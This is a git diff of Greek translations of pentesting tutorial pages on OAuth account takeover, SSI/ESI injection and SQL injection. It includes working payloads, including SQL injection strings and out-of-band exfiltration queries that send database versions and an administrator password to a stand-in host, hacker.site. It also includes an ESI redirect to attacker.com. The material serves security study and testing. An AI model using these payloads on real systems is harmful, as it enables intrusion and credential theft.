επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
### Bruteforce Client Secret ### Bruteforce Client Secret
@ -146,7 +145,9 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
``` ```
Για περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το AWS cognito, ελέγξτε: Για περισσότερες λεπτομέρειες σχετικά με το πώς να εκμεταλλευτείτε το AWS cognito, ελέγξτε:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
{{#endref}}
### Εκμετάλλευση άλλων tokens εφαρμογών <a href="#bda5" id="bda5"></a> ### Εκμετάλλευση άλλων tokens εφαρμογών <a href="#bda5" id="bda5"></a>
@ -159,13 +160,13 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
### Δύο σύνδεσμοι & cookie <a href="#bda5" id="bda5"></a> ### Δύο σύνδεσμοι & cookie <a href="#bda5" id="bda5"></a>
Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνετε ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου. Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να γίνει ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτήσει** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου.
Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση. Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση.
### Παράκαμψη αλληλεπίδρασης prompt <a href="#bda5" id="bda5"></a> ### Παράκαμψη αλληλεπίδρασης prompt <a href="#bda5" id="bda5"></a>
Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδεικνύεται η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα. Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδειχθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.
### response_mode ### response_mode
@ -182,18 +183,18 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
### ATO σε ιστοσελίδα που ανακατευθύνει με βάση το open redirect στον παραπομπέα <a href="#bda5" id="bda5"></a> ### ATO σε ιστοσελίδα που ανακατευθύνει με βάση το open redirect στον παραπομπέα <a href="#bda5" id="bda5"></a>
Αυτή η [**ανάρτηση στο blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) σχολιάζει πώς ήταν δυνατό να εκμεταλλευτεί κανείς ένα **open redirect** στην τιμή από τον **παραπομπέα** για να εκμεταλλευτεί το OAuth για ATO. Η επίθεση ήταν: Αυτή η [**ανάρτηση στο blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) σχολιάζει πώς ήταν δυνατό να εκμεταλλευτεί ένα **open redirect** στην τιμή από τον **παραπομπέα** για να εκμεταλλευτεί το OAuth για ATO. Η επίθεση ήταν:
1. Το θύμα αποκτά πρόσβαση στην ιστοσελίδα του επιτιθέμενου 1. Το θύμα αποκτά πρόσβαση στην ιστοσελίδα του επιτιθέμενου
2. Το θύμα ανοίγει τον κακόβουλο σύνδεσμο και ένας opener ξεκινά τη ροή Google OAuth με `response_type=id_token,code&prompt=none` ως πρόσθετες παραμέτρους χρησιμοποιώντας ως **παραπομπέα την ιστοσελίδα του επιτιθέμενου**. 2. Το θύμα ανοίγει τον κακόβουλο σύνδεσμο και ένας opener ξεκινά τη ροή Google OAuth με `response_type=id_token,code&prompt=none` ως πρόσθετες παραμέτρους χρησιμοποιώντας ως **παραπομπέα την ιστοσελίδα του επιτιθέμενου**.
3. Στον opener, αφού ο πάροχος εξουσιοδοτήσει το θύμα, το στέλνει πίσω στην τιμή της παραμέτρου `redirect_uri` (ιστοσελίδα θύματος) με κωδικό 30X που διατηρεί ακόμα την ιστοσελίδα του επιτιθέμενου στον παραπομπέα. 3. Στον opener, αφού ο πάροχος εξουσιοδοτήσει το θύμα, το στέλνει πίσω στην τιμή της παραμέτρου `redirect_uri` (ιστοσελίδα θύματος) με κωδικό 30X που διατηρεί ακόμα την ιστοσελίδα του επιτιθέμενου στον παραπομπέα.
4. Η ιστοσελίδα του θύματος **ενεργοποιεί το open redirect με βάση τον παραπομπέα** ανακατευθύνοντας τον χρήστη του θύματος στην ιστοσελίδα του επιτιθέμενου, καθώς το **`respose_type`** ήταν **`id_token,code`**, ο κωδικός θα σταλεί πίσω στον επιτιθέμενο στο **τμήμα** της διεύθυνσης URL επιτρέποντάς του να αναλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του θύματος. 4. Η **ιστοσελίδα του θύματος ενεργοποιεί το open redirect με βάση τον παραπομπέα** ανακατευθύνοντας τον χρήστη του θύματος στην ιστοσελίδα του επιτιθέμενου, καθώς το **`respose_type`** ήταν **`id_token,code`**, ο κωδικός θα σταλεί πίσω στον επιτιθέμενο στο **τμήμα** της διεύθυνσης URL επιτρέποντάς του να αναλάβει τον λογαριασμό του χρήστη μέσω Google στην ιστοσελίδα του θύματος.
### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a> ### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a>
[**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.** [**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.**
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για τις ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν. Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
**Κύρια Σημεία:** **Κύρια Σημεία:**
@ -201,7 +202,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
- Αυτή η δυνατότητα συμμορφώνεται με τις προδιαγραφές που καθορίζονται στο **RFC7591** και **OpenID Connect Registration 1.0**, οι οποίες περιλαμβάνουν παραμέτρους που ενδέχεται να είναι ευάλωτες σε SSRF. - Αυτή η δυνατότητα συμμορφώνεται με τις προδιαγραφές που καθορίζονται στο **RFC7591** και **OpenID Connect Registration 1.0**, οι οποίες περιλαμβάνουν παραμέτρους που ενδέχεται να είναι ευάλωτες σε SSRF.
- Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους: - Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους:
- **`logo_uri`**: Ένα URL για το λογότυπο της εφαρμογής πελάτη που μπορεί να ανακτηθεί από τον διακομιστή, προκαλώντας SSRF ή οδηγώντας σε XSS αν το URL δεν διαχειριστεί σωστά. - **`logo_uri`**: Ένα URL για το λογότυπο της εφαρμογής πελάτη που μπορεί να ανακτηθεί από τον διακομιστή, προκαλώντας SSRF ή οδηγώντας σε XSS αν το URL δεν διαχειριστεί σωστά.
- **`jwks_uri`**: Ένα URL στο έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει τον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο. - **`jwks_uri`**: Ένα URL στο έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει στον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο.
- **`sector_identifier_uri`**: Αναφέρεται σε έναν πίνακα JSON των `redirect_uris`, τον οποίο ο διακομιστής μπορεί να ανακτήσει, δημιουργώντας μια ευκαιρία SSRF. - **`sector_identifier_uri`**: Αναφέρεται σε έναν πίνακα JSON των `redirect_uris`, τον οποίο ο διακομιστής μπορεί να ανακτήσει, δημιουργώντας μια ευκαιρία SSRF.
- **`request_uris`**: Λίστα επιτρεπόμενων URI αιτημάτων για τον πελάτη, που μπορεί να εκμεταλλευτεί αν ο διακομιστής ανακτήσει αυτές τις URI στην αρχή της διαδικασίας εξουσιοδότησης. - **`request_uris`**: Λίστα επιτρεπόμενων URI αιτημάτων για τον πελάτη, που μπορεί να εκμεταλλευτεί αν ο διακομιστής ανακτήσει αυτές τις URI στην αρχή της διαδικασίας εξουσιοδότησης.
@ -212,12 +213,11 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
## Συνθήκες Αγώνα Παρόχων OAuth ## Συνθήκες Αγώνα Παρόχων OAuth
Αν η πλατφόρμα που δοκιμάζετε είναι ένας πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md). Αν η πλατφόρμα που δοκιμάζετε είναι πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md).
## Αναφορές ## Αναφορές
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1) - [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors) - [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
**(Εισαγωγή από** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** **(Εισαγωγή από** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) είναι εντολές που **τοποθετούνται σε σελίδες HTML και αξιολογούνται στον διακομιστή** κατά την εξυπηρέτηση των σελίδων. Σας επιτρέπουν να **προσθέσετε δυναμικά παραγόμενο περιεχόμενο** σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να εξυπηρετήσετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας.\ SSI (Server Side Includes) είναι εντολές που **τοποθετούνται σε σελίδες HTML και αξιολογούνται στον διακομιστή** κατά την εξυπηρέτηση των σελίδων. Σας επιτρέπουν να **προσθέτετε δυναμικά παραγόμενο περιεχόμενο** σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να εξυπηρετήσετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας.\
Για παράδειγμα, μπορείτε να τοποθετήσετε μια εντολή σε μια υπάρχουσα σελίδα HTML, όπως: Για παράδειγμα, μπορείτε να τοποθετήσετε μια εντολή σε μια υπάρχουσα σελίδα HTML, όπως:
`<!--#echo var="DATE_LOCAL" -->` `<!--#echo var="DATE_LOCAL" -->`
@ -95,15 +95,15 @@ hell<!--esi-->o
- **Vars**: Υποστηρίζει την εντολή `<esi:vars>`. Χρήσιμο για την παράκαμψη φίλτρων XSS - **Vars**: Υποστηρίζει την εντολή `<esi:vars>`. Χρήσιμο για την παράκαμψη φίλτρων XSS
- **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα από την μηχανή ESI - **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα από την μηχανή ESI
- **Απαιτούμενοι Κεφαλίδες Upstream**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις κεφαλίδες - **Απαιτούμενοι Κεφαλίδες Upstream**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις κεφαλίδες
- **Λίστα Επιτρεπόμενων Hosts**: Σε αυτή την περίπτωση, οι ESI includes είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας το SSRF, για παράδειγμα, δυνατό μόνο κατά αυτών των διακομιστών - **Λίστα Επιτρεπόμενων Hosts**: Σε αυτή την περίπτωση, οι ESI includes είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας το SSRF, για παράδειγμα, δυνατό μόνο κατά αυτών των hosts
| **Λογισμικό** | **Includes** | **Vars** | **Cookies** | **Απαιτούμενοι Κεφαλίδες Upstream** | **Λίστα Επιτρεπόμενων Hosts** | | **Λογισμικό** | **Includes** | **Vars** | **Cookies** | **Απαιτούμενοι Κεφαλίδες Upstream** | **Λίστα Επιτρεπόμενων Hosts** |
| :----------------------------: | :----------: | :------: | :---------: | :---------------------------------: | :----------------------------: | | :----------------------------: | :----------: | :------: | :---------: | :---------------------------------: | :----------------------------: |
| Squid3 | Ναι | Ναι | Ναι | Ναι | Όχι | | Squid3 | Ναι | Ναι | Ναι | Ναι | Όχι |
| Varnish Cache | Ναι | Όχι | Όχι | Ναι | Ναι | | Varnish Cache | Ναι | Όχι | Όχι | Ναι | Ναι |
| Fastly | Ναι | Όχι | Όχι | Όχι | Ναι | | Fastly | Ναι | Όχι | Όχι | Όχι | Ναι |
| Akamai ESI Test Server (ETS) | Ναι | Ναι | Ναι | Όχι | Όχι | | Akamai ESI Test Server (ETS) | Ναι | Ναι | Ναι | Όχι | Όχι |
| NodeJS esi | Ναι | Ναι | Ναι | Όχι | Όχι | | NodeJS esi | Ναι | Ναι | Ναι | Όχι | Όχι |
| NodeJS nodesi | Ναι | Όχι | Όχι | Όχι | Προαιρετικό | | NodeJS nodesi | Ναι | Όχι | Όχι | Όχι | Προαιρετικό |
#### XSS #### XSS
@ -152,9 +152,9 @@ Use <!--esi--> to bypass WAFs:
```bash ```bash
<!--esi $add_header('Location','http://attacker.com') --> <!--esi $add_header('Location','http://attacker.com') -->
``` ```
#### Προσθήκη Κεφαλίδας #### Προσθήκη Επικεφαλίδας
- Προσθέστε κεφαλίδα σε αναγκαστικό αίτημα - Προσθέστε επικεφαλίδα σε αναγκαστικό αίτημα
```xml ```xml
<esi:include src="http://example.com/asdasd"> <esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/> <esi:request_header name="User-Agent" value="12345"/>
@ -177,7 +177,7 @@ Host: anotherhost.com"/>
``` ```
#### Akamai debug #### Akamai debug
Αυτό θα στείλει πληροφορίες αποσφαλμάτωσης που περιλαμβάνονται στην απάντηση: Αυτό θα στείλει πληροφορίες αποσφαλμάτωσης που περιλαμβάνονται στην απόκριση:
```xml ```xml
<esi:debug/> <esi:debug/>
``` ```
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## Λίστα Ανίχνευσης Brute-Force ## Λίστα Ανίχνευσης Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Τι είναι η SQL injection; ## Τι είναι η SQL injection;
Μια **SQL injection** είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να **παρεμβαίνουν σε ερωτήματα βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να **δουν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και σε παραβίαση του διακομιστή ή άρνηση υπηρεσίας. Μια **SQL injection** είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να **παρεμβαίνουν σε ερωτήματα βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να **δουν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και σε παραβίαση του διακομιστή ή άρνηση υπηρεσίας.
@ -24,7 +23,7 @@
``` ```
Πρέπει να ξέρετε πώς να **διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα**. Για να διορθώσετε το ερώτημα μπορείτε να **εισάγετε** δεδομένα ώστε το **προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα**, ή μπορείτε απλά να **εισάγετε** τα δεδομένα σας και να **προσθέσετε ένα σύμβολο σχολίου στο τέλος**. Πρέπει να ξέρετε πώς να **διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα**. Για να διορθώσετε το ερώτημα μπορείτε να **εισάγετε** δεδομένα ώστε το **προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα**, ή μπορείτε απλά να **εισάγετε** τα δεδομένα σας και να **προσθέσετε ένα σύμβολο σχολίου στο τέλος**.
_Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._ _Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._
### **Σχόλια** ### **Σχόλια**
```sql ```sql
@ -71,7 +70,7 @@ page.asp?id=1 and 1=2 -- results in false
### Επιβεβαίωση με Χρόνο ### Επιβεβαίωση με Χρόνο
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\ Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίπτωση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
Επομένως, θα προσθέσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί: Επομένως, θα προσθέσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
``` ```
MySQL (string concat and logical ops) MySQL (string concat and logical ops)
@ -133,7 +132,9 @@ SQLite
### Αναγνώριση με PortSwigger ### Αναγνώριση με PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %} {{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Εκμετάλλευση Βασισμένη σε Union ## Εκμετάλλευση Βασισμένη σε Union
@ -145,7 +146,7 @@ SQLite
#### Order/Group by #### Order/Group by
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να λάβετε μια ψευδή απάντηση. Παρά τις διαφορετικές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος. Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
```sql ```sql
1' ORDER BY 1--+ #True 1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True 1' ORDER BY 2--+ #True
@ -169,7 +170,7 @@ SQLite
1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked 1' UNION SELECT null,null,null-- - Worked
``` ```
ρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._ ρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και των δύο πλευρών του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._
### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών ### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
@ -188,11 +189,11 @@ _Υπάρχει ένας διαφορετικός τρόπος για να αν
## Εκμετάλλευση Κρυφών Union Based ## Εκμετάλλευση Κρυφών Union Based
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια injection βασισμένη σε union φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής injection βασισμένης σε union**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση blind injection. Για να μετατραπεί μια blind injection σε μια βασισμένη σε union, πρέπει να διακριθεί το εκτελούμενο ερώτημα στο backend. Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε union φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε union**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε union, πρέπει να διακριθεί το εκτελούμενο ερώτημα στο backend.
Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών blind injection μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το σύστημα διαχείρισης βάσεων δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου. Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.
Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα union στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης injection βασισμένης σε union. Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα union στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε union.
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
@ -230,11 +231,11 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
## Εκμετάλλευση εκτός ζώνης ## Εκμετάλλευση εκτός ζώνης
Εάν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS: Εάν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε εσείς. Για παράδειγμα, μέσω ερωτήσεων DNS:
```sql ```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
``` ```
### Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE ### Εξαγωγή δεδομένων εκτός δικτύου μέσω XXE
```sql ```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- - a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
``` ```
@ -242,7 +243,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
